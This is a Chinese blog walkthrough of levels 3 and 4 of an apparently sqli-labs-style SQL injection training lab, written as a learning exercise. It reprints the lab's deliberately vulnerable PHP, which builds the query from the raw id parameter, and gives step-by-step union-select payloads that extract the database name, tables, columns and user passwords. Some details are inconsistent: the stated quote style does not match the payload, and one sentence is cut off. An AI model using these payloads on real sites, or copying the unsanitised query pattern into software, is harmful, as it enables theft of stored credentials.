通过第二关,来到第三关
我们用了前两种方法,都报错,然后自己也不太会别的注入,然后莫名的小知识又增加了。这居然是一个带括号的字符型注入,
这里我们需要闭合前面的括号。
$sql=select * from users where id=("$id");
但我们传入的id为5')然后我们的语句就变成了
而且页面显示正常,然后我们就去判断字段的列数,这个跟前三关应该是一样的 ,我们直接
pyload: ?id=5')order by 4--+
然后判断3的时候,没有报错,于是确定列数为3,具体为什么要确定列数,在第一个wp中有提到,
https://www.cnblogs.com/junlebao/p/13758919.html点击这个就可以看到关于联合查询的知识点了
我们用联合查询,所以我们要保证列数字段一致,如果不一致则会报错。
下面我们贴出源码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Less-4 Error Based- DoubleQuotes String</title> </head> <body bgcolor="#000000"> <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br> <font size="3" color="#FFFF00"> <?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id." "); fclose($fp); // connectivity $id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);//函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";} ?> </font> </div></br></br></br><center> <img src="../images/Less-4.jpg" /></center> </body> </html>
看源码里面的函数,我给了注释,这就是为什么我们要将id的值给-1,我们需要将前面的数据便为空集,然后我们后面的数据就会呈现出来。
说完了这个,我们接着下一步操作:
1. 爆库名 ?id=-1') union select 1,2,database()--+
2. 爆表名 ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
3. 爆字段 ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
4. 爆数据 ?id=-1') union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
然后就查到了我们想要的users表中的数据了。
之后我们又来到了第四关,发现第四关只是将单引号变成了双引号了,所以我们
pyload:?id=5")--+
然后发现页面正常显示,没有报错,于是我们用order by来判断列数,步骤和第三题一样。
希望可以对读者有帮助,不对的希望大家多多指正,大家共同进步。